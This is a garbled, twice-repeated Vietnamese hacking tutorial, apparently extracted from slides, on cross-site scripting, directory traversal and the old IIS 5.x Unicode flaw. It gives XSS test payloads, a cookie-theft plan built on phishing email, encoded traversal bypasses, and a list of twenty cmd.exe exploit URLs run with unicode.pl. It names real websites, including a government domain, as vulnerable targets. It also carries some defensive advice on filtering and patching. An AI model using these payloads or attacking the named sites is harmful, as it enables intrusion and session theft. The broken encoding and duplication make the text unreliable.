VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
